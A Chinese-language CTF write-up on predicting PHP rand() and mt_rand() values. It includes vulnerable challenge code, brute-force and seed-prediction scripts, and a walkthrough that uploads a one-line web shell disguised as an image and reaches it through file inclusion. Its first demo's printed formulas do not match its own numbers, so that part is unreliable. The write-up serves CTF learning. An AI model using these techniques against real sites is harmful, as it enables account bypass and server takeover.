rand()
函數在產生隨機數的時候沒有調用 srand()
,則產生的隨機數是有規律可詢的.
產生的隨機數可以用下面這個公式預測 : state[i] = state[i-3] + state[i-31]
(一般預測值可能比實際值要差1)
$randstr = array(); for ($i = 0; $i <= 50; $i++) { $randstr[$i] = rand(0, 30); if ($i >= 31) { echo "第" . $i . "個隨機數:"; echo "$randstr[$i]=(" . $randstr[$i - 31] . "+" . $randstr[$i - 3] . ") mod 32 +1\n"; echo "<br>"; } else { echo "第" . $i . "個隨機數:" . $randstr[$i] . "\n"; echo "<br>"; } }
結果如下:
第0個隨機數:0 第1個隨機數:12 第2個隨機數:18 第3個隨機數:27 第4個隨機數:25 第5個隨機數:30 第6個隨機數:15 第7個隨機數:20 第8個隨機數:17 第9個隨機數:25 第10個隨機數:30 第11個隨機數:28 第12個隨機數:13 第13個隨機數:23 第14個隨機數:1 第15個隨機數:8 第16個隨機數:5 第17個隨機數:5 第18個隨機數:4 第19個隨機數:25 第20個隨機數:30 第21個隨機數:28 第22個隨機數:7 第23個隨機數:5 第24個隨機數:18 第25個隨機數:8 第26個隨機數:24 第27個隨機數:12 第28個隨機數:7 第29個隨機數:3 第30個隨機數:24 第31個隨機數:2=(0+7) mod 32 +1 第32個隨機數:18=(12+3) mod 32 +1 第33個隨機數:25=(18+24) mod 32 +1 第34個隨機數:21=(27+2) mod 32 +1 第35個隨機數:11=(25+18) mod 32 +1 第36個隨機數:27=(30+25) mod 32 +1 第37個隨機數:5=(15+21) mod 32 +1 第38個隨機數:14=(20+11) mod 32 +1 第39個隨機數:24=(17+27) mod 32 +1 第40個隨機數:26=(25+5) mod 32 +1 第41個隨機數:17=(30+14) mod 32 +1 第42個隨機數:17=(28+24) mod 32 +1 第43個隨機數:14=(13+26) mod 32 +1 第44個隨機數:22=(23+17) mod 32 +1 第45個隨機數:25=(1+17) mod 32 +1 第46個隨機數:30=(8+14) mod 32 +1 第47個隨機數:0=(5+22) mod 32 +1 第48個隨機數:6=(5+25) mod 32 +1 第49個隨機數:8=(4+30) mod 32 +1 第50個隨機數:5=(25+0) mod 32 +1
看到CTF題,當時題目中max_num未知。當我們請求時,大致知道max_num的范圍,當時得到的最大值是990,不超過4位數。可以通過爆破解此題。:
session_start(); define(MAX_NUM,998); if (isset($_GET['code']) && intval($_GET['code']) === $_SESSION['code']) { die('flag{11111111111111111}'); } else {echo "wrong answer!";} srand(rand(0, MAX_NUM)); //進行播種 for ($i = 0; $i < 3; $i++) { echo "<h3>randnum$i:" . rand(0, MAX_NUM) . "</h3><br>"; } echo 'sessionid: ' . session_id(); var_dump($_SESSION); $_SESSION['code'] = rand(0, MAX_NUM); var_dump($_SESSION); ?> <form action="" method="get"> the next random num is:<input type="text" name="code"/> <input type="submit"/> </form>
可以寫如下腳本,從990開始預測:
$max_num = 1000; for ($k = 990; $k <= 1000; $k++) { $max_num = $k; for ($i = 0; $i <= 1000; $i++) { srand($i); echo 'srand:' . $i . ':' . rand(1, $max_num) . ' ' . rand(1, $max_num) . ' ' . rand(1, $max_num) . ' ' . rand(1, $max_num); echo "<br>"; } }
得到預測結果。填上拿到flag.
第二種做法是寫一個py腳本直接去爆破隨機數,因為隨機數的范圍都是小於1000的,因此這些直接爆破0,1000即可.
import requests url = 'http://0.0.0.0:91/index.php' s = requests.session() # headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'} # html = s.get(url,headers=headers) for i in range(1000): #s = requests.session() url2 = url+'?code='+str(i) res = s.get(url2) print res.content if 'flag' in res.content: print res.content break
大概每個session 可以爆出2,3次就無法再次爆破了,也是有一點隨機性在里面的
ps: 其實session()這個函數有點像隨機數播種, 程序每次運行一次session函數,都會分配一個固定的sessionid, 上面這個程序把session放在前面,那么循環部分的sessionid都是一樣的,和我們瀏覽器訪問並沒有很大區別, 但如果是把session()函數放到循環體里面,那么每次訪問的sessionid的值都會變化,相當於1000個人同時訪問一次站點, 前面相當於一個人訪問了1000次站點
mt_srand()
函數用 time()
做種子值, 相當於已知的, 我們可以本地用 time()
這個種子值去預測pwd的值, 這第一層判斷很容易繞過, 第二層的判斷就有點迷了
發現這個第二層的判斷為 if ($_SESSION['userLogin'] == $_GET['login'])
, 只是簡單的判斷了下是否相等,而沒有判斷 $_GET['login']
這個值是否為空, 因為程序如果第一次加載,那么此時 $_SESSION
還沒有賦值, $_SESSION['login']
的內容自然是空, NULL===NULL
, 很容易就繞過了第二層, 因此這題第二層判斷形如虛設,如果你的時間和服務器上面的時間不同步,即time()的值不相同話,需要去偏移一個大概范圍去爆破:
腳本如下:
function create_password($pw_length = 10) { $randpwd = ""; for ($i = 0; $i < $pw_length; $i++) { $randpwd .= chr(mt_rand(100, 200)); } return $randpwd; } mt_srand(time()); $pass = create_password(); echo $pass . "\n"; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, 'http://127.0.0.1/php_code/yuce.php?pwd=' . $pass); $output = curl_exec($curl); print_r($output); curl_close($curl);
在看一道njctf隨機數的題目:
題目大體思路就是能上傳圖片文件+文件包含=getshell。但是有一個難點就是如何得到上傳文件名。這里就涉及到隨機數和session的知識。
先說下session。session_start()會創建唯一的session id。當你攜帶着session過來時。session_start()就不會分配一個新的session id。
當你把PHPSESSID=;這樣后端接受到的session id就會為空。
假如把PHPSESSID都刪了。則會重新賦值一個新的session id
如果sessionid是沒有的話,那么session_id()就是空字符串,這樣的話,hash就是$ss的md5值,也就是純數字,放cmd5解密就可以得到明文,也就是隨機數,
mt_rand生成的隨機數是可以破解得到種子,所以可以再通過種子預測到后面的random_str的值,從而得到上傳的文件名.(這里我們把md5函數去掉)
error_reporting(0); function show_error_message($message) { die("<div class=\"msg error\" id=\"message\"> <i class=\"fa fa-exclamation-triangle\"></i>$message</div>"); } function show_message($message) { echo("<div class=\"msg success\" id=\"message\"> <i class=\"fa fa-exclamation-triangle\"></i>$message</div>"); } function random_str($length = "32") { $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F", "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L", "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X", "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9"); $str = ''; for ($i = 1; $i <= $length; ++$i) { $ch = mt_rand(0, count($set) - 1); $str .= $set[$ch]; } return $str; } $reg='/gif|jpg|jpeg|png/'; if (isset($_POST['submit'])) { $seed = rand(0,999999999); mt_srand($seed); $ss = mt_rand(); echo "ss:".$ss; echo "<br>"; // $hash = md5(session_id().$ss); $hash = session_id().$ss; //原題這里是md5(session_id.$ss).這里把md5加密去掉。 echo "session_id+ss:".$hash; echo "<br>"; // echo $hash; // echo "<br>"; // echo md5($ss); // echo "<br>"; // echo "新賦值的session:".$hash; setcookie('SESSI0N', $hash, time() + 3600); if ($_FILES["file"]["error"] > 0) { show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]); } $check1 = ((($_FILES["file-upload-field"]["type"] == "image/gif") || ($_FILES["file-upload-field"]["type"] == "image/jpeg") || ($_FILES["file-upload-field"]["type"] == "image/pjpeg") || ($_FILES["file-upload-field"]["type"] == "image/png")) && ($_FILES["file-upload-field"]["size"] < 204800)); $check2=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION)); if ($check2) show_error_message("Nope!"); if ($check1) { $filename = './' . random_str() . '_' . $_FILES['file-upload-field']['name']; if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) { show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]); } else show_error_message("Something wrong with the upload..."); } else { show_error_message("only allow gif/jpeg/png files smaller than 200kb!"); } } ?> <!DOCTYPE html> <html> <meta charset="utf-8"> <head> <title>upload</title> </head> <body> <form action="shell.php" method="post" enctype="multipart/form-data"> 選擇文件:<input type="file" name="file-upload-field"> <br> 提交:<input type="submit" name="submit"> <br> <?php echo "session:"; print_r($_SESSION); echo "<br>"; echo "cookie:"; print_r($_COOKIE); ?> </form> </body> </html>
具體操作如下:
准備一個一句話的shell命名為1.jpg,將PHPSESSION設置為空上傳。
發送,server 會給我們一個名為session的cookie。原題目得在解密MD5.我這里去掉了。就不用了。
1782405370就是隨機數。通過php_mt_seed這個tools來破解我們的種子。
得到可能的種子數。
寫個腳本來預測文件名,(當種子數相同時,通過mt_rand或者rand得到的隨機數是相同的)
比如。同時使用123的種子,即使網頁怎么刷新數值都不會變的。用種子得到的每一個都是固定的。
寫通過得到的216400146種子就能得到文件的名字。
mt_srand(216400146); echo mt_rand()."\n\r"; function random_str($length = "32") { $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F", "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L", "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X", "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9"); $str = ''; for ($i = 1; $i <= $length; ++$i) { $ch = mt_rand(0, count($set) - 1); $str .= $set[$ch]; } return $str; } echo random_str()."\n\r";
看上傳文件的名字。
通過偽協議文件包含拿shell.
參考連接:http://www.blogsir.com.cn/safe/515.html
http://www.cnblogs.com/iamstudy/articles/2017_NJCTF_Some_Web_Writeup.html